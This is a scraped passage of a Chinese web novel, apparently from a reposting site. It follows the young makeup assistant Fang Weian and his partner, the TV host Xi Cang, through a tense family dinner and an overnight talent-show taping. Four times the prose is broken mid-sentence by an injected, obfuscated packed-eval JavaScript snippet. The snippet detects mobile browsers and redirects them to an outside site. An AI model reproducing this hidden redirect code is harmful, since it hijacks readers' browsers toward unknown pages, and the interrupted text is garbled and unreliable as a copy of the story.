可惜的是,人情是搭进去了,奚沧最后还是没能端起美术类的饭碗,高三那年突然转战播音主持,也没少让他们两口子操心。 “老爷子去哪个国家了?之后我跟他妈出去旅游,顺便去看看他们。”奚父继续问。 方唯安摇摇头,“不知道,他们没有告诉我……” 奚父僵了一瞬,终是挑起块鱼肉,放进奚佑的碗里,“宝宝吃,多补补。” 那是鱼肚上最肥美的一块肉,之后的鱼眼和鱼脑也都被两口子夹进奚佑碗里,“宝宝很辛苦吧,爸爸妈妈不在身边,受委屈了……” 方唯安终于放弃擦手,转而专心干饭,这晚的鱼肉鲜嫩,老鸭汤煨得恰当好处,他忍不住一勺一勺地往嘴里送。 “小佑,尝尝这个。”奚母不断往奚佑的盘里添新东西,唯恐他饿着一样。 奚父则将剥好壳的虾、剔了刺的鱼肉放进小儿子的盘里,“宝宝,多吃点,还想吃什么就跟爸爸讲。” 奚佑则像个呼风唤雨的小皇帝一样坐在他们中间,偶尔小嗑两声,立马就有茶水递到他嘴边。 饶是方唯安再迟钝,也能看出这兄弟俩的反差。 相比起奚佑,奚沧受到的关注实在太少了。 就连奚父还问了他几个问题,可对奚沧这个大儿子,两口子默契地毫不关心。 老鸭汤又转到面前,方唯安先给奚沧盛了一碗,又给自己盛。 第二勺还没来得及填满,汤盅就被奚佑给转到了另一边。 方唯安趁势舀了满满一勺海皇豆腐放进奚沧的碟子里。 “诶,老大,你弟弟工作的事张罗得怎么样了?”奚母将挤出蟹黄,熟稔地放进奚佑的碗里。 奚沧这晚没怎么吃东西,也不说话,让人搞不清楚他究竟在想什么。 “小佑现在正在电视台实习。” “那我们怎么都看不着他啊?”奚母嘬嘬筷子尖,“你看你大一就上电视了,我们每天守在电视前面,也没等到小佑露脸,你不是挺厉害的嘛,不能给小佑一个出镜机会吗?” 奚沧耐心解释,“他现在是节目的实习编导,不用出镜。” “不用出镜谁能知道他在电视台工作啊?”奚父说,“你在电视台实习那阵,不直接就当了主播?” 爸妈总是这样,将他的成功看作理所当然;奚佑的付出则是悬梁刺股,是卧薪尝胆,是一种惊天动地的牺牲。 可是,说辩解再多也是无济于事,奚沧叫不醒执意装睡的人。 “我会帮他争取一下。” “对嘛,你弟弟可是奔着你来的,你总不能不管他吧?”奚母顺顺小儿子的头发,对大儿子颐指气使,“老大,你弟弟的指望只有你了,你都上了那么多节目了,分给你弟弟一个,你也缺不了什么。” 奚父在一旁帮腔,“将来我们俩走了,还是得靠你们两兄弟相互扶持嘛。” 奚沧放下筷子,沉默了几秒。 余光里,方唯安仿佛看到了一团阴云飘过来,罩在他的奚沧王后的头顶。 “我知道了。台里目前比较看好一档选秀综艺,我会想办法把小佑调进主创团队里。”奚佑的头略略低着,这么说的时候谁都没看。 “啊,就是那个Shine啥的吧,语法都错了,”奚母曾在海外读书,回国结婚后便走进高校担任英语老师,“但是好像曝光还不错,小佑应该多参加这类活动,长长见识,老在《动物世界》里待着能学到什么啊?” 奚父则爱子心切,“但是也不能让小佑太累,你这个当哥哥的得多帮衬他一点……” 多帮衬他一点? 奚沧简直想笑。不知道以为是哪家的皇帝微服私访体察民情呢,你见过有哪个打工人成天迟到早退、耀武扬威的? 还累? 他有什么好累的?那可是《动物世界》,整个电视台最松散、事情最少的栏目,他也是卖了一圈人情才把这个草包塞进去的。 他只要做到按时上下班就好,其他的东西都不用他操心,这样还觉得累的话,那他和方唯安简直不用活了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730271|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奚沧掷下汤匙,勺子碰撞碗壁,发出叮当脆响。 “哥……”奚佑唤了声。 同一时间,方唯安选了一块鱼肉夹进他碗里,乖乖的一直没说话。 奚沧冷静片刻,终于点头,“好,我多帮衬他。” 奚母眉头松动,“哎呀,看到你们两兄弟关系这么和睦我就放心啦!” “人家都说长兄如父,奚沧你要多体谅小佑,要有哥哥的样子!”奚父也感叹。 直到最后奚沧也没怎么吃东西。 方唯安其实能理解,毕竟每道菜最精华的那部分全都进了奚佑碗里,奚沧不开心也是正常的。 他只是想不明白,明明是两兄弟,奚沧还比奚佑要优秀得多得多,他们的父母怎么好像只在乎奚佑的样子? . 或许有方唯安这个外人在场,奚家一家人的交流不算很多,以奚佑揉着肚子说再也吃不下了宣告终结。 奚沧结了账,在饭店门口跟爸妈以及奚佑道别。 “小佑的宿舍太简陋了,晚上跟我们会酒店吧,好好放松一下。”奚母为他开脱。 奚佑抱着妈妈的胳膊,黏糊糊撒娇,“谢谢妈妈!” “那我们先走了,看样子待会就要下雪了,你们也早点回去吧。”奚父仰着头说。 从这个角度,奚沧看到了爸爸发顶生出的一丛丛白发。 “小方,麻烦你特意来看我们。”奚母拍拍方唯安的肩膀,心无芥蒂地对他笑。 奚沧突然意识到,其实自己瞒了这么多年的事实对他们俩来说根本无关紧要。 奚沧可以跟任何人生活在一起,反正只要弟弟的生活足够风光足够圆满,其他的都是陪衬。 他站在那儿,望向父母的眼睛。他们眼里只有一个人,那就是他们从小宝贝到大的小儿子。 出租车停在饭店门前,一家三口一齐挤在后座,每个人都很开心的样子。 奚沧从副驾驶的窗口递了一百块钱进去,嘱咐司机安全驾驶。 至少还换来司机的一句谢。 后座那三口人则在后排自成结界,离开时甚至没看奚沧一眼。 . “奚沧……” 只剩他们两个人了。 深空飘下小雪,很细,不仔细看根本难以发现。 可方唯安还是发现了,伸出手接了接,然后用微凉的指尖碰碰奚沧的脸颊。 “我们回家吗?” 终于看不到那辆车了,奚沧回过头,声线苦涩,“走吧。” 进了停车场,奚沧解锁了车,将钥匙丢给方唯安,“你先上车,我还有件事。” 说完便跑。 方唯安钻进副驾驶,发了一会儿呆。回神的时候,雪已经下大了,在挡风玻璃下方积了厚厚一层。 奚沧到底去干嘛了呀? 方唯安搓了搓手,将空调调高几度。 过了约二十分钟,终于看到奚沧跑回来,手里还捧着一个盒子。 奚沧上车拆盒,里面是个生日蛋糕,他点了两根蜡烛,看向方唯安。 “二十岁生日快乐,方唯安。” “虽然晚了几天……” 暖风烘过,烛光晃晃,方唯安一脸错愕。 “啊……”大脑空空荡荡他,他只能发出肤浅的赞叹。 “以后都开开心心的吧,方唯安。”奚沧望着他的眼睛。 不知为何,方唯安在他那双眼里读出了哀伤,还有淡淡恳切。 吹熄蜡烛前,方唯安许了愿。 他希望奚沧一直开心幸福,离让他痛苦和失意的东西都远远的。 蜡烛熄灭,奚沧吻住方唯安。 蛋糕被糟蹋得一塌糊涂,奚沧将方唯安拖进后座。 9. 第 9 章 早上,奚沧按时离家上班,方唯安则在他走后弹射起床,冲进浴室洗漱。 他还是没能告诉奚沧自己没辞职,所幸奚沧最近忙得脚不沾地,对他的关注也少了许多。 像只将头埋在沙漠的鸵鸟,方唯安奉行着得过且过的原则,继续按时上下班。 蔓延整座城市的流感逐渐式微,越来越多的人重返岗位。 方唯安提心吊胆了好几天,还好Leo这人说话算数,答应带他出外勤,就真的带他走了。 肩抗两只化妆箱,方唯安跟随店长走进电视台,提前到达三号演播厅的后台做准备。 按照拍摄进程,77位选手如今已淘汰至44人。品牌派来共12名化妆师和化妆助理,要负责全部选手的妆造。 方唯安他们到达的时候,首批选手已经进入化妆间,开始为了化妆台的归属拌嘴吵架。 Leo随手拉来一名选手,按在座位上,“唯安,先给他做个简单清洁,我按摩的时候帮我把B10和BR20混合起来调个色。” 方唯安钝钝答应,打开化妆盒。 接下来的步骤就像培训那样,一套流程行云流水,他成了Leo最得力的助手。 晚六点,距离公演开始仅剩一小时,最后一批选手到达化妆间。 方唯安浸湿化妆水,调好清洁面膜,换了副抗菌手套。 一转头,只见奚沧就坐在他身侧的椅子上。 “辞职?”奚沧嗤笑一声,“辞了专柜,结果跟着你的店长来这儿了?” “方唯安,你什么意思?” Leo正在房间另一侧给一个死活都带不上美瞳的选手掰眼皮。 乱糟糟的化妆间里,没人在意他们的对话。 “方唯安,你自己答应我的,还打算骗我到什么时候?”奚沧的眼神很冷,方唯安胆颤,干脆伸手捂住他的眼睛。 别看我,先别看我了。 “方唯安,你干嘛呢?”Leo终于回归,只见小助手咬着嘴唇,挡着奚沧的眼睛,“现在是闹的时候吗,录制马上就开始了!” 话音未落,房间里又响起召唤声,“Leo,帮我画一下全包眼线,求求了!” Leo把方唯安的手打开,跟奚沧赔了个笑,“您今天的造型大概是啥样啊?” 奚沧从手机里找出服装师发来的图片,Leo端详着,“今天的造型整体偏简洁干练,衣服上的颜色运用不多,所以妆容方面就不用太华丽……” “LLLLLEO!!!!!”角落里传来哀嚎,“你过来看一眼吧!” 奚沧淡然一笑,“Leo这么受欢迎啊。” “不用管,您最重要。”Leo自然知道孰轻孰重。 “去吧,他之前帮我补过妆,手艺还可以。”奚沧指了指Leo身后的小助理,“就让他来就行。” “可以吗?”Leo有些犹豫,毕竟奚沧也是他争取很久才得到的机会。 奚沧看着他的小助理,“反正这次造型简单,试试他吧。” “LLLLLLEO!”同事崩溃地嚎叫。Leo犹豫片刻,拍了下方唯安的肩膀,急匆匆走了。 . 你知道大难临头的感觉吗? 背对着奚沧,方唯安挤了两泵最白色号的粉底,用粉底刷在试色盘上抹开……鼓足勇气,他僵硬转过身,略过对方的眼神,抓着刷子往人脸上招呼。 即使是最白的色号,放在奚沧的脸上还是凸显不出明度,方唯安刷了两道,而后果断选择放弃打底,用遮瑕搭配高光强调他骨相的优越。 奚沧的皮肤细腻平滑,五官折叠度高,即使素颜也足够出众。考虑到他主持人的身份,方唯安竭力突出他的骨相,十分钟便完成妆容,加热电夹板,整理他的发型。 对上镜子里那双小心翼翼的眼睛,奚沧没好气,“化妆还不够,怎么连头发都要你弄?” “总部都培训过的,有时候有预约化妆服务的顾客,我们也会帮忙整理发型。”方唯安的说话声很小,战战兢兢地取了他一缕头发,夹成小卷。 整个造型花费不到20分钟,比奚沧以往任何一任化妆师都要麻利。 奚沧对着镜子来回看,端详许久竟挑不出一丝错处,闷闷走向换衣室。 他今天的西装是暗棕色系,穿不好就会略显苍老。 奚沧本来不在意这些,主持人终究是一片绿叶,有义务陪衬每一朵娇艳的花。 比赛进行到这个阶段,该是主持人隐身,将所有热度还给选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730272|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手的时候了。 然而方唯安并没有让他沦为陪衬,反而用一头羊毛卷搭配微乎其微的妆容,再搭配棕色系服装,有种童话故事里的温暖小熊既视感。 就连编导都拍着他的肩膀,玩笑着要他不要再释放魅力了,留些机会给孩子们吧! 晚七点钟,公演舞台正式开启,方唯安在后台忙完,溜到舞台边上偷看。 奚沧踩着欢呼声走到台前,聚光灯下的他那么闪耀,一切妆造都沦为泡影。 只有这个人是真实的,完美的,让人目不转睛。 方唯安抱着膝盖坐在地上,痴痴地看。 原来综艺录制并不如看起来轻松,多的是往复和调整,一个动作错了都要重来。 奚沧负责串场,代替选手们向观众道歉,卖力将期待值拉到最高,扯着嗓子活跃现场气氛。 两个小时过去了,公演舞台才进行到第二场,就连方唯安都要失去耐心了,奚沧仍是从容走到台前,呼吁观众的尖叫和互动。 人怎么能这么厉害啊! 方唯安坐在台下默默地想,奚沧好像真的不怕冷场,不怕被人拒绝。 好像他站在那里,就让人心悦诚服,甘愿配合他完成所有指令。 录完第二个舞台,导演通知休息,方唯安看了眼时间,已经快要十点了。 这么算下来,节目恐怕得录上一夜。 方唯安站起来,探身看向台侧,奚沧正坐在音响上看台本,卷毛被鼓风机吹得乱颤。 他哽了哽,很想走到他身边,抱抱他再对他说声辛苦了。 可是,很快就有戴着工牌的人走到奚沧身边,伏在他耳畔说了几句话—— 方唯安掩着嘴,换了口气。 保证书第一条,乙方不能向任何人透露同甲方的关系。 那他冒冒失失地跑去抱住奚沧,像什么话? 然而此刻,奚沧却望过来,对着他勾了勾手。 世界安静下来,方唯安愣了两秒,才从地上爬起来。 走向奚沧的时候,方唯安好像看到对方在笑。 是那种很温柔,很温柔的笑。 方唯安可能真的是个笨蛋,因为这个笑,他变得特别开心,一蹦一跳地跃上台阶,朝奚沧走去。 10. 第 10 章 休息期间,在场的粉丝依旧忙碌,各自为营,应援声此起彼伏,现场气氛有些剑拔弩张。 方唯安刚走到奚沧身边,就被对方抓着手腕拽到自己的椅子背后。奚沧低着头默读台本,一边说:“方唯安,帮我挡挡风。” “哦。”方唯安答应,身后就是慢速运转的鼓风机,他身上的薄毛衫被风吹簌簌抖动。 无所事事,方唯安就盯着奚沧的一头卷毛发呆。 就,有点像狗,还是那种很娇贵脾气很跋扈的小狗,忽略自身体型也要跟巨型犬互呛的那种。 眼前突然出现一个环保餐盒,上面贴着粉粉绿绿的贴纸,奚沧头都没回,“别人送的,好像是蛋糕,你吃吧。” 蛋糕?狗好像不能吃蛋糕。 方唯安怔怔地想。 “方唯安,”等了半天也不见他收,奚沧回过头来,皱着眉看他,“你今天吃饭了吗?” 方唯安愣住,硬生生地将卷毛小狗和眼前的人割离开来,又想了一阵,“……吃了,吧。” “吃了吧?”奚沧审视着他,“吃没吃过饭都记不住?” “吃了。”方唯安干咽。 确实是吃了,如果两口热巧克力算是饭的话。 他也不是故意不吃饭的,只是实在没想到现场会这么忙。 奚沧将餐盒推给方唯安,方唯安猝不及防地接过,奚沧又把自己的保温杯移了个位置,放到他脚边。 “你真厉害,方唯安!”这是一句很明显的嘲讽,奚沧黑着脸转回去,继续读台本。 小狗炸毛了—— 方唯安撇了撇嘴,可毕竟是自己言而无信,也不怪奚沧跟他生气。 盒子里是块提拉米苏,餐具很贴心地贴在盒盖内壁,方唯安取下来,舀了一勺放进嘴里。 眼前的“小狗脑袋”突然又变得温顺起来。 方唯安人生中的第一块提拉米苏也是奚沧送给他的。 奚沧好像对方唯安10岁了都没吃过提拉米苏这事儿挺惊讶的,他穿着高中部的校服,藏在书房的桌子下面,挪了挪身子,腾出一块小空地。 “过来!”他朝方唯安招招手。 方唯安拢了拢裙摆,挤进书桌下面,奚沧把自己用过的勺子转过来,用纸巾擦了擦,拿给方唯安,“虽然有点不方便,但是凑合凑合也能吃,你吃吧。” 方唯安捧着蛋糕盒看了许久,才用勺柄舀下一块。蛋糕主体很软,勺柄上只蹭了点淡黄的奶油。 他将奶油含进嘴里,丝丝缕缕的苦涩和甜蜜在他的舌尖绽开。 他们家没人吃甜品,妈妈怕胖,爸爸说口腹之欲是人性最低级的趣味。 没人告诉他,这东西原来这么好吃! 他开始为自己过往10年的人生后悔,原来他就喜欢这样最低级的趣味。 “好吃吧?”奚沧笑着,将他的裙摆在地上铺好。 “好吃!”方唯安点点头,勺柄用起来总是不得劲,他干脆将蛋糕切成小块,把嘴凑到盒子边缘,用力吸了一口。 啊咳咳咳—— 最表面的一层巧克力粉呛进嗓子,方唯安剧烈地咳嗽起来。 蛋糕的出现纯属秘密,生怕暴露,奚沧无措又急切地捂住方唯安的嘴,“小点声,老师要发现啦!” 方唯安的眼睛都被呛红了,竭力地稳住了呼吸,又开始涕泗横流。 许久,他终于不再大口喘息,拍拍奚沧的胳膊示意他可以松手了。 方唯安顺顺胸口,小心翼翼地将蛋糕盒子盖好,想要留起来珍藏。偏过头却发现奚沧正抿着嘴,憋笑憋得很痛苦的样子。 “怎么了?” “你,”奚沧伸出手指,在他面前虚虚圈了圈,“你的脸上都是巧克力粉。” 闻言,方唯安低头看看,身上裙子的前襟也蒙了一层深棕色的粉末。 他吓懵,两只手在脸上和脖子上乱蹭,结果越蹭越脏,整张脸都黏糊糊的。 “哎,你用这个擦吧,”奚沧从脚下的袋子里找到两袋湿纸巾,拆开了递给方唯安,“我不方便,你自己好好擦一下。” 湿纸巾被蹭得脏兮兮的,方唯安一点点干净起来,他仰着脖子,擦擦颈间。 “诶,你怎么好像有喉结?”奚沧说着,也仰起自己的脖子,他的喉结像颗饱满的糖块,随说话声一滚一滚,“你看,就是这个,这个是男生才有的… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730273|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …不过好像瘦一点的女生也会有。” 方唯安把脏兮兮的湿巾撺成条状绕在指间,淡淡地说:“我就是男生啊。” “啊?”奚沧猛地弹了一下,头顶结结实实地磕在桌板上,咚一声像敲钟。 像任何一个涉世未深的大男孩那样,他咋咋呼呼地感叹,“天啊,牛逼!” . 发呆太久的弊病之一就是,思绪突然被扯进现实时,身体总是跟不上趟。 一阵欢呼将方唯安的思绪扯回现场,他手一抖,差点把餐盒摔到地上,还好借着奚沧的椅背夹住了蛋糕盒。 然而身后就是鼓风机,洒下来的巧克力粉末还是扑在了奚沧的西装上。 “……”方唯安视线飘忽,低着头说,“对不起啊。” 奚沧掸了掸衣服,没好气道:“想什么呢,吃个东西都能走神?” “我找湿纸巾给你擦。”想起化妆间里好像有湿巾,方唯安放下盒子就要跑。 奚沧却拉住他,“算了,反正是同色系,看不出来。” 奚沧起身,理了理西装,提前走上舞台维持秩序。 在方唯安发呆的间隙,现场的两拨粉丝突然爆发争吵,为首的几个人推推搡搡,眼看就要打起来了。 安保队迅速将两队人隔开,奚沧也尽力安抚他们的情绪。 两拨粉丝冷静了一下,又突然团结起来,高喊着“做票!黑幕!”,现场再次乱做一团。 后台也炸了锅,好多工作人员躲在舞台边上偷看,几个执行导演焦头烂额,手里握着电话,一边通话一边走来走去。 方唯安看向舞台中央,奚沧好像并不着急。 他就站在那儿,等抗议声淡去,按照流程将刚才表演完的两组选手请到台前,让他们跟粉丝打招呼。 面对喜欢的人,台下的粉丝逐渐安静下来,奚沧公布了刚才两个舞台的对阵结果。 台上的选手无论胜方或是败方都露出谦逊的笑,倒是粉丝先坐不住了,蹿到观众席的前端,手里抓着什么东西。 这人的移动速度很快,方唯安刚从后台下来,就看到蹿出的黑影。 来不及考虑,他扑了上去…… 11. 第 11 章 方唯安到底涉世未深,对电视台的这些门路更是陌生。 他不知道,参加现场录制的观众要经过层层安检才能进入演播厅; 防止节目内容泄露,他们还必须将个人物品和通讯设备留在指定的储物区。 云港电视台的3号演播厅自80年代正式启用,一次恶性事件都没有发生过——这里的安保质量更是为业界称赞。 粉丝再激动,留给他发挥的空间也着实有限,情绪到达顶点,只好大步冲到前排,抓着节目组给的一次性软饮袋往台上丢。 当然,舞台距离观众区还有一定距离,使劲浑身力气掷上去的东西,撑死落在舞台前沿,尴尴尬尬,犹如一条死鱼。 安保赶到的时候,方唯安已经手脚并用地将人控制在地上,那人嘴里念念有词,不停地挣扎。 方唯安在保安搀扶下站起来,有点头晕,扶着额头往台上看—— 演出仍在继续。 奚沧正访问台上的选手,练习期间有没有什么印象深刻的事情。 常里斯脸红吐舌,“就跟团员们闹了别扭嘛,我就从基地离家出走了。结果走了三小时还没进市区,我又走回去了。” 台下观众哄然大笑,保安带着危险观众从侧门离开,只有方唯安还留在原地。 原来刚才发生的事情只是一场无伤大雅的闹剧,只有他一个人反应过度,煞有其事地也不知道能保护谁。 方唯安一时分不清,那些笑声是不是笑他的。 “方唯安,啧,你扑上去干什么啊?”Leo拽住他的胳膊,压着嗓子责备他,“给人撞个好歹的,还得连累节目组担责任。” “对不起。”方唯安搓搓脸,眼神乱晃。 所幸目睹了整个事件的观众此刻正全神贯注于舞台。 这让他心里宽慰了些。 Leo用手背碰了下方唯安的脖子,“你受伤没有?” 方唯安向外偏了偏,老老实实道:“应该没有。” “以后别老往这里凑,这不是咱们该待的地方,”Leo又攥住方唯安的胳膊,“跟我回后台吧。” 方唯安点头,和Leo一前一后穿过观众区和隔离带之间狭窄的过道。 走出几米,他轻轻挣了挣胳膊,没想到Leo的手突然收紧了,转过头对他笑,“方唯安,你胳膊真细,我一只手就能攥住你的大手臂。” 方唯安有点不舒服,又努力挣了挣;到达通往后台的台阶前,Leo终于放手了。 . 到了光线明亮的地方,方唯安才发现自己身上的毛衫上有一块被蹭脏了。 不仅沾了黏糊糊的灰,毛线纹路还被蹭的有点变形,他感到可惜,用湿巾一下一下地蹭。 Leo帮一个选手整理完丝巾,走到他身边,“怎么样,比上班辛苦多了吧?” “嗯。”方唯安抬了一下头,手上继续清理衣服。 “嘿,我就喜欢你这种性格,干净又认真,”Leo笑着评价,“跟个小姑娘似的。” 小姑娘很好,但是“像个小姑娘”却不是什么友善的评价。 好在这种话方唯安从小到大听多了,笑了一下,终于把手里的湿巾扔了。 Leo摸摸他的头,“你脾气真好啊唯安,难怪大家都喜欢你!” 方唯安退后一些,揉了揉耳朵,不知道还能做什么,就重新抽了一张湿巾擦衣服。 “唯安,你要是能适应这里的环境,要不要以后都过来帮我?”Leo对他的退却毫不在意,抱着手臂靠在化妆台上,“我可以培训你化舞台妆,这样以后你就可以自己上手给他们化妆了。” 闻言,方唯安有些心动,擦衣服动作都慢了,两种思绪在脑子里拔河。 一方面,他都答应奚沧要辞职了,结果今天还出现在电视台,被人抓个正着。 现在奚沧的心里憋着多大的火,方唯安想想就呼吸急促。 另一方面,总部对他们的培训是半年制的,方唯安只参加了一次,主要是熟悉产品和化一些简单妆容。 舞台妆是进阶版,要培训两到三次才会涉及。 方唯安很确定,奚沧不会让他在这里做到第三次培训。 奚沧的决定一向很难改变,方唯安又说不过他。 “反正你再想想吧,今天的情况你也看到了,往后只会更累,”Leo用指尖捋他头顶翘起的发丝,“你很适合妹妹头呀,真可爱,真想看你穿上那套女仆制服。” 方唯安想起来今天早些时候,他告诉Leo可以把那套绣着自己名字的女仆装送给他。 Leo直直看了他一阵,然后爆笑,摸着他的头发说他太可爱了。 “那套衣服就是给你的啊,你穿才好看!”Leo轻飘飘道。 方唯安起先觉得Leo的判断挺中肯的,他也觉得自己穿上会好看。 不过现在想想,他有点分辨不清Leo的意思了。 又一组选手即将登台,Leo抄起一罐定型喷雾,烟一样从他身边消失。 方唯安就是Leo招进店里的,刚入职那会儿也没少受他照顾,共事的小半年里也从没感觉有什么地方不对劲。 只是最近这几天…… “唯安,你愣着干什么,过来帮忙啊!”Leo从过道里探进个脑袋,方唯安才惊觉化妆间霎时空了,所有化妆师都在外面帮选手做最后整理。 “来了!”方唯安抱着化妆箱往外跑,边跑边想,我这么笨,还有人愿意带我。 要是一直质疑人家的动机,是不是挺不知好歹的? . 方唯安没猜错,录制结束时真的是凌晨。 受欢迎的选手都安排在录制开始前的前三小时出场表演,进入后半夜,无论观众还是选手都显得有点萎靡。 后台有个负责调度的实习生,也就刚刚二十出头的样子,眼下的黑眼圈特别深,肉眼可见得越来越憔悴。 这个时候,奚沧简直像个超人,整场录制下来都状态饱满,皮肤也没怎么暗沉,方唯安只给他补了两次口红。 收工时,天空黑漆漆的,方唯安独自走了一条街,奚沧将车停在路边等他。 “回家吧!”方唯安坐进副驾驶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730274|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“真奇怪,今天没有下雪唔——” 安全带半路弹回,抬起的那只手臂突然转变方向,被拉扯到中间。电光火石间,奚沧的唇舌就这么欺向他。 有时候方唯安真的挺佩服奚沧的,工作强度这么大,还能每晚分出精力来折腾他。 毕竟自己有错在先,方唯安搂住奚沧的脖子,仰起头,尽力配合这个吻。 可没多久,嘴唇刺痛,方唯安一激灵,又讨好似的裹住奚沧的舌头,用手指捋了捋他的头发。 看吧,这种动作跟奚沧做就很自然。 方唯安意识到,之所以店长碰他头发他会紧张和反感,只是因为店长不是奚沧。 “你又走什么神?”奚沧骤然结束亲吻,退开盯着他看,“你们那个店长,今天对你做什么了没有?” 方唯安眼珠乱转,直觉自己接下来要说的话奚沧不会喜欢听。 他真的很想学习舞台妆! “方唯安!”奚沧沉声警告。 这一声叫得方唯安头皮发麻,警铃大作。无计可施的时候,他干脆重新抱着奚沧的脖子,软乎乎地吻他。 奚沧抓了一下他的头发,随后扯开他的羽绒服,把手从他的毛衫下摆伸进去,揉了揉他的肚子。 “嘶——”方唯安再次一激灵。 “怎么了,是不是刚才受伤了?”奚沧紧张地按开车内灯,要撩他衣服。 方唯安难得机敏,把车灯关了,“还在电视台附近呢,被看到了怎么办?” 他小力地揉了揉自己的肚子,意识到这里疼之后再碰上去,也就没有最开始那么痛了。 “先回家吧。”奚沧马上启动了车,“方唯安,你那个狗屁工作快点给我辞了!” 方唯安捂着肚子没说话,心想这跟他的工作又没有直接关系。 他只是人比较傻而已。 . 方唯安肚子上的伤其实不算太重,只是他皮肉娇气,红了一大块,看起来挺可怜。 奚沧黑着脸给他涂了层药,方唯安自己掀开睡衣,眼巴巴瞅着他。 意外的是,涂完药之后,奚沧没有把他赶去客卧,而是抱着他躺进床里。 “我再睡三个小时就得去准备气象播报,你别招我。”奚沧伸手,盖住他的眼睛。 “我没招你,”方唯安也挺无辜,“我什么时候招你了?” “……睡吧。”奚沧叹了一声。 拉过被子,他将自己和方唯安罩在里面。 方唯安很快就睡着了,奚沧还醒着。 早上九点,方唯安被电话声吵醒,正想接起,手机就被奚沧抢走了。 “有人找我……”方唯安嘟囔了声。 “未知号码,八成是诈骗电话。”奚沧帮他按掉。 方唯安想了两秒,也是,也就没操心,昏昏沉沉又睡着了。 整整一上午,Leo打了18遍方唯安的电话,心头漾起一股烦躁。 拨到第19遍的时候,电话终于被接起,方唯安迷迷糊糊地嘟哝了一句,“不买!” 没等他再说什么,电话又挂了。 12. 第 12 章 挂了电话,方唯安又抱着枕头睡了过去。 等再次睁眼,家里静悄悄的,阳光被遮光窗帘隔绝在外,他探着身子打开床边的吊灯,习惯性地瞥了眼时间。 竟然快中午了! 方唯安猛地坐起来,使劲儿揉了揉眼睛再次确认—— 真的没看错,他已经迟到近三个小时了。 方唯安的学习能力一般,但精力还算旺盛,无论成果如何,态度总是积极的那个。 迟到这种事,从来没发生在他身上。 他跳下床,用最快的速度洗漱换衣,又从床底找到手机,忍着心痛打了个车去商场。 结果他到的时候,正赶上Leo在员工休息室门口训人。 阿静原本低着头,余光扫到方唯安,就对他使了个“快跑”的眼色。 方唯安没看清,又往前走了两步,就见Leo叉着腰转过身,看到他的时候差点背过气去。 “方唯安,你还舍得来啊?”Leo接近怒吼,“你自己看看现在几点了?” 方唯安看了眼手机,已经十二点半了,垂着脑袋走到阿静身边站着。 Leo吼他们的时候,天花板好像都在跟着颤。 “你们一个个到底想干嘛啊,不想干直说啊,我好赶快招人!” 阿静摇摇头,“还想干呢,哥,我们错了。” 方唯安感觉阿静在用手肘怼他,迟疑两秒,也跟着重重点头,“我们错了,对不起啊。” 训人的时候,Leo的手机一直在兜里震,他终于接起来,吊着脸,闷闷说了两声“好的”。 “你们、”Leo用食指戳了两下他们的额头,“今天店里忙,需要人手,要不我高低得让你俩直接滚蛋!” 阿静点头,“谢谢哥,以后不会了。” “以后不会了。”方唯安跟着说。 “快回去,今天客流量大,年底能不能达到指标就看这两天了,”Leo再次指指他们,“下不为例!” 阿静整整制服袖子,“好嘞哥,我们先走了。” Leo嘴角一撇,“你走吧,方唯安留下,我单独跟你说两句。” . 午休时段,来往休息间的都是商场员工,对领导训话的场景已然免疫。 他们各自吃完饭,补好妆,面无表情地经过他们。 “唯安,你没存我电话吗?”Leo抓着手机,给方唯安看自己的通话记录。 方唯安的名字后面跟了个“(23)”。 “还是,你故意不接我电话,觉得我在压榨你,心里埋怨我?” 方唯安连连摇头,“没有啊,真没有。” 赶来的路上,方唯安还想着给Leo发个信息表达歉意,结果翻遍了手机都没找到他的电话,社交软件上也根本看不到他。 只有个陌生电话矢志不渝地“骚扰”他,他有点无奈,就把那个号码拉黑了。 所以,那串陌生号码其实是店长的。 方唯安十分费解,自己什么时候删了店长? 